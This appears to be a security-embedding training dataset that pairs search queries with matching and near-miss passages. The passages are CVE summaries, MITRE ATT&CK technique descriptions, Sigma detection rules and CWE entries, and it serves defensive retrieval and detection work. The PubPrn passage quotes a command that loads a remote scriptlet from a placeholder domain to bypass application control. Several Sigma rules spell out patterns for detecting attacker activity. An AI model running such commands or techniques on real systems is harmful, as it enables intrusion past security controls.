alirezaaminzadeh/secembed-pairs huggingface dataset:
Query: exploit Integer overflow in the sg_start_req function in drivers/scsi/sg.c in the Linux kernel 2.6.x through 4.x before 4.1 allows local users to cause a denial of service or possibly have
Matching passage: CVE-2015-5707. CWE: CWE-190. CVSS: 4.599999904632568. Integer overflow in the sg_start_req function in drivers/scsi/sg.c in the Linux kernel 2.6.x through 4.x before 4.1 allows local users to cause a denial of service or possibly have unspecified other impact via a large iov_count value in a write request.
Near-miss passage: CVE-2015-3416. CWE: CWE-190. CVSS: 7.5. The sqlite3VXPrintf function in printf.c in SQLite before 3.8.9 does not properly handle precision and width values during floating-point conversions, which allows context-dependent attackers to cause a denial of service (integer overflow and stack-based buffer overflow) or possibly have unspecified other impact via large integers in a crafted printf function call in a SELECT statement.
Query: SOC alert related to Multi-Stage Channels
Matching passage: T1104 Multi-Stage Channels. Tactics: command and control. Description: Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult. Remote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features. The different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or [Fallback Channels](https://attack.mitre.org/techniques/T1008) in case the original first-stage communication path is discovered and blocked.
Near-miss passage: T1001.001 Junk Data. Tactics: command and control. Description: Adversaries may add junk data to protocols used for command and control to make detection more difficult.(Citation: FireEye SUNBURST Backdoor December 2020) By adding random or meaningless data to the protocols used for command and control, adversaries can prevent trivial methods for decoding, deciphering, or otherwise analyzing the traffic. Examples may include appending/prepending data with junk characters or writing junk characters between significant characters.
Query: adversary uses System Script Proxy Execution
Matching passage: T1216 System Script Proxy Execution. Tactics: stealth. Description: Adversaries may use trusted scripts, often signed with certificates, to proxy the execution of malicious files. Several Microsoft signed scripts that have been downloaded from Microsoft or are default on Windows installations can be used to proxy execution of other files.(Citation: LOLBAS Project) This behavior may be abused by adversaries to execute malicious files that could bypass application control and signature validation on systems.(Citation: GitHub Ultimate AppLocker Bypass List)
Near-miss passage: T1216.001 PubPrn. Tactics: stealth. Description: Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) via <code>Cscript.exe</code>. For example, the following code publishes a printer within the specified domain: <code>cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com</code>.(Citation: pubprn) Adversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second <code>script:</code> parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is <code>pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct</code>. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script. In later versions of Windows (10+), <code>PubPrn.vbs</code> has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to <code>LDAP://</code>, vice the <code>script:</code> moniker which could be used to reference remote code via HTTP(S).
Query: CVE similar to CVE-2015-7519
Matching passage: CVE-2015-7519. CWE: CWE-20. CVSS: 3.700000047683716. agent/Core/Controller/SendRequest.cpp in Phusion Passenger before 4.0.60 and 5.0.x before 5.0.22, when used in Apache integration mode or in standalone mode without a filtering proxy, allows remote attackers to spoof headers passed to applications by using an _ (underscore) character instead of a - (dash) character in an HTTP header, as demonstrated by an X_User header.
Near-miss passage: CVE-2015-9246. CWE: CWE-20. CVSS: 9.800000190734863. An issue was discovered in Skybox Platform before 7.5.201. Remote Unauthenticated Code Execution exists via a WAR archive containing a JSP file. The WAR file is sent to /skyboxview-softwareupdate/services/CollectorSoftwareUpdate and the JSP file is reached at /opt/skyboxview/thirdparty/jboss/server/web/work/jboss.web/localhost.
Query: Sigma rule for Detects creation of files with the ".pub" extension in suspicious or uncommon locations. This could be a sign of attacke
Matching passage: Sigma rule: Detects creation of files with the ".pub" extension in suspicious or uncommon locations. This could be a sign of attacke. Logsource: windows / file_event. Rule: title: Publisher Attachment File Dropped In Suspicious Location id: 3d2a2d59-929c-4b78-8c1a-145dfe9e07b1 status: test description: Detects creation of files with the ".pub" extension in suspicious or uncommon locations. This could be a sign of attackers abusing Publisher documents references: - https://twitter.com/EmericNasi/status/1623224526220804098 author: Nasreddine Bencherchali (Nextron Systems) date: 2023-02-08 tags: - attack.stealth logsource: category: file_event product: windows detection: selection: TargetFilename|contains: - \AppData\Local\Temp\ - \Users\Public\ - \Windows\Temp\ - C:\Temp\ TargetFilename|endswith: .pub condition: selection falsepositives: - Legitimate usage of ".pub" files from those locations level: medium
Near-miss passage: Sigma rule: Detects the load of a revoked kernel driver. Logsource: windows / codeintegrity-operational. Rule: title: CodeIntegrity - Revoked Kernel Driver Loaded id: 320fccbf-5e32-4101-82b8-2679c5f007c6 status: test description: Detects the load of a revoked kernel driver references: - https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-id-explanations - https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-tag-explanations - Internal Research author: Nasreddine Bencherchali (Nextron Systems) date: 2023-06-06 tags: - attack.privilege-escalation logsource: product: windows service: codeintegrity-operational detection: selection: EventID: - 3021 - 3022 condition: selection falsepositives: - Unlikely level: high
Query: risk of The Application Store component in Apple iOS before 9 allows remote attackers to cause a denial of service to an enterprise-signed app via a crafted ITMS URL.
Matching passage: CVE-2015-5856. CWE: CWE-254. CVSS: 4.300000190734863. The Application Store component in Apple iOS before 9 allows remote attackers to cause a denial of service to an enterprise-signed app via a crafted ITMS URL.
Near-miss passage: CVE-2015-6999. CWE: CWE-254. CVSS: 5.0. The OCSP client in Apple iOS before 9.1 does not check for certificate expiry, which allows remote attackers to spoof a valid certificate by leveraging access to a revoked certificate.
Query: hunt for Token Impersonation/Theft activity
Matching passage: T1134.001 Token Impersonation/Theft. Tactics: stealth, privilege escalation. Description: Adversaries may duplicate then impersonate another user's existing token to escalate privileges and bypass access controls. For example, an adversary can duplicate an existing token using `DuplicateToken` or `DuplicateTokenEx`.(Citation: DuplicateToken function) The token can then be used with `ImpersonateLoggedOnUser` to allow the calling thread to impersonate a logged on user's security context, or with `SetThreadToken` to assign the impersonated token to a thread. An adversary may perform [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) when they have a specific, existing process they want to assign the duplicated token to. For example, this may be useful for when the target user has a non-network logon session on the system. When an adversary would instead use a duplicated token to create a new process rather than attaching to an existing process, they can additionally [Create Process with Token](https://attack.mitre.org/techniques/T1134/002) using `CreateProcessWithTokenW` or `CreateProcessAsUserW`. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) is also distinct from [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003) in that it refers to duplicating an existing token, rather than creating a new one.
Near-miss passage: T1134.005 SID-History Injection. Tactics: stealth, privilege escalation. Description: Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens). With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002), or [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).
Query: alert when Detects outbound network connection initiated by Microsoft Dialer. The Microsoft Dialer, also known as Phone Dialer, is
Matching passage: Sigma rule: Detects outbound network connection initiated by Microsoft Dialer. The Microsoft Dialer, also known as Phone Dialer, is. Logsource: windows / network_connection. Rule: title: Outbound Network Connection Initiated By Microsoft Dialer id: 37e4024a-6c80-4d8f-b95d-2e7e94f3a8d1 status: test description: 'Detects outbound network connection initiated by Microsoft Dialer. The Microsoft Dialer, also known as Phone Dialer, is a built-in utility application included in various versions of the Microsoft Windows operating system. Its primary function is to provide users with a graphical interface for managing phone calls via a modem or a phone line connected to the computer. This is an outdated process in the current conext of it''s usage and is a common target for info stealers for process injection, and is used to make C2 connections, common example is "Rhadamanthys" ' references: - https://tria.ge/240301-rk34sagf5x/behavioral2 - https://app.any.run/tasks/6720b85b-9c53-4a12-b1dc-73052a78477d - https://research.checkpoint.com/2023/rhadamanthys-v0-5-0-a-deep-dive-into-the-stealers-components/ - https://strontic.github.io/xcyclopedia/library/dialer.exe-0B69655F912619756C704A0BF716B61F.html author: CertainlyP date: 2024-04-26 tags: - attack.execution - attack.command-and-control - attack.t1071.001 logsource: category: network_connection product: windows detection: selection: Image|endswith: :\Windows\System32\dialer.exe Initiated: 'true' filter_main_local_ranges: DestinationIp|cidr: - 127.0.0.0/8 - 10.0.0.0/8 - 172.16.0.0/12 - 192.168.0.0/16 - 169.254.0.0/16 - ::1/128 - fe80::/10 - fc00::/7 condition: selection and not 1 of filter_main_* falsepositives: - In Modern Windows systems, unable to see legitimate usage of this process, However, if an organization has legitimate purpose for this there can be false positives. level: high
Near-miss passage: Sigma rule: Storing files in Alternate Data Stream (ADS) similar to Astaroth malware.. Logsource: windows / ps_script. Rule: title: Powershell Store File In Alternate Data Stream id: a699b30e-d010-46c8-bbd1-ee2e26765fe9 status: test description: Storing files in Alternate Data Stream (ADS) similar to Astaroth malware. references: - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.004/T1564.004.md author: frack113 date: 2021-09-02 modified: 2022-12-25 tags: - attack.stealth - attack.t1564.004 logsource: product: windows category: ps_script definition: 'Requirements: Script Block Logging must be enabled' detection: selection_compspec: ScriptBlockText|contains|all: - Start-Process - '-FilePath "$env:comspec" ' - '-ArgumentList ' - '>' condition: selection_compspec falsepositives: - Unknown level: medium
Query: detection engineering for Non-Standard Encoding
Matching passage: T1132.002 Non-Standard Encoding. Tactics: command and control. Description: Adversaries may encode data with a non-standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a non-standard data encoding system that diverges from existing protocol specifications. Non-standard data encoding schemes may be based on or related to standard data encoding schemes, such as a modified Base64 encoding for the message body of an HTTP request.(Citation: Wikipedia Binary-to-text Encoding)(Citation: Wikipedia Character Encoding)
Near-miss passage: T1132 Data Encoding. Tactics: command and control. Description: Adversaries may encode data to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system. Use of data encoding may adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, or other binary-to-text and character encoding systems.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.
Query: exploit Open redirect vulnerability in the 3PI Manager in Ericsson Drutt Mobile Service Delivery Platform (MSDP) 4, 5, and 6 allows remote attackers to redirect users to arbitrary web site
Matching passage: CVE-2015-2167. CWE: UNKNOWN. CVSS: 5.800000190734863. Open redirect vulnerability in the 3PI Manager in Ericsson Drutt Mobile Service Delivery Platform (MSDP) 4, 5, and 6 allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL in the url parameter to jsp/start-3pi-manager.jsp.
Near-miss passage: CVE-2015-8320. CWE: UNKNOWN. CVSS: 5.0. Apache Cordova-Android before 3.7.0 improperly generates random values for BridgeSecret data, which makes it easier for attackers to conduct bridge hijacking attacks by predicting a value.
Query: Sigma rule for A General detection for sdclt spawning new processes. This could be an indicator of sdclt being used for bypass UAC tech
Matching passage: Sigma rule: A General detection for sdclt spawning new processes. This could be an indicator of sdclt being used for bypass UAC tech. Logsource: windows / process_creation. Rule: title: Sdclt Child Processes id: da2738f2-fadb-4394-afa7-0a0674885afa status: test description: A General detection for sdclt spawning new processes. This could be an indicator of sdclt being used for bypass UAC techniques. references: - https://github.com/OTRF/detection-hackathon-apt29/issues/6 - https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/3.B.2_C36B49B5-DF58-4A34-9FE9-56189B9DEFEA.md author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research) date: 2020-05-02 modified: 2021-11-27 tags: - attack.privilege-escalation - attack.t1548.002 logsource: category: process_creation product: windows detection: selection: ParentImage|endswith: \sdclt.exe condition: selection falsepositives: - Unknown level: medium
Near-miss passage: Sigma rule: Sysmon registry detection of a local hidden user account.. Logsource: windows / registry_event. Rule: title: Creation of a Local Hidden User Account by Registry id: 460479f3-80b7-42da-9c43-2cc1d54dbccd status: test description: Sysmon registry detection of a local hidden user account. references: - https://twitter.com/SBousseaden/status/1387530414185664538 author: Christian Burkard (Nextron Systems) date: 2021-05-03 modified: 2025-10-31 tags: - attack.persistence - attack.t1136.001 logsource: product: windows category: registry_event detection: selection: TargetObject|contains: \SAM\SAM\Domains\Account\Users\Names\ TargetObject|endswith: $\(Default) Image|endswith: \lsass.exe condition: selection falsepositives: - Unknown level: high regression_tests_path: regression_data/rules/windows/registry/registry_event/registry_event_add_local_hidden_user/info.yml simulation: - type: atomic-red-team name: Create Hidden User in Registry technique: T1564.002 atomic_guid: 173126b7-afe4-45eb-8680-fa9f6400431c
Query: detect Time Based Checks
Matching passage: T1497.003 Time Based Checks. Tactics: stealth, discovery. Description: Adversaries may employ various time-based methods to detect virtualization and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. This may include enumerating time-based properties, such as uptime or the system clock. Adversaries may use calls like `GetTickCount` and `GetSystemTimeAsFileTime` to discover if they are operating within a virtual machine or sandbox, or may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)
Near-miss passage: T1497.001 System Checks. Tactics: stealth, discovery. Description: Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness) Specific checks will vary based on the target and/or adversary, but may involve behaviors such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047), [PowerShell](https://attack.mitre.org/techniques/T1059/001), [System Information Discovery](https://attack.mitre.org/techniques/T1082), and [Query Registry](https://attack.mitre.org/techniques/T1012) to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks into one script and then have the program exit if it determines the system to be a virtual environment. Checks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size. Once executed, malware may also use [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) to check if it was saved in a folder or file with unexpected or even analysis-related naming artifacts such as `malware`, `sample`, or `hash`. Other common checks may enumerate services running that are unique to these applications, installed programs on the
Query: weakness Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)
Matching passage: CWE-75 Failure to Sanitize Special Elements into a Different Plane (Special Element Injection). The product does not adequately filter user-controlled input for special elements with control implications.
Near-miss passage: CWE-615 Inclusion of Sensitive Information in Source Code Comments. While adding general comments is very useful, some programmers tend to leave important data, such as: filenames related to the web application, old links or links which were not meant to be browsed by users, old code fragments, etc.